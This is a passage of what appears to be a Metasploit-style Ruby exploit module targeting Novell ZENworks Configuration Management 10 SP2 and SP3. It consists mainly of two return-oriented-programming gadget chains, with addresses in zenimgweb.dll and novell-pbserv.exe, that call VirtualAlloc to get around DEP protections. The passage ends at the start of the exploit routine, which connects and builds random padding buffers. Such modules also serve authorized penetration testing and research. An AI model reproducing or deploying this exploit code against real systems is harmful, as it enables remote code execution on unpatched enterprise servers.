if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
rop_gadgets =
[
0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x100239df, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
0x10007b22, # & push esp # ret [zenimgweb.dll]
0x100235dc, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1004702b, # POP EDI # RETN [zenimgweb.dll]
0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
0x10011217, # POP EAX # RETN [zenimgweb.dll]
nop,
0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
else # Novell ZENworks Configuration Management 10 SP2
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
end
return rop_gadgets
end
def exploit
connect
buf = rand_text(4)
buf2 = rand_text(4)
buf3 = rand_text(4)
buf4 = rand_text(4)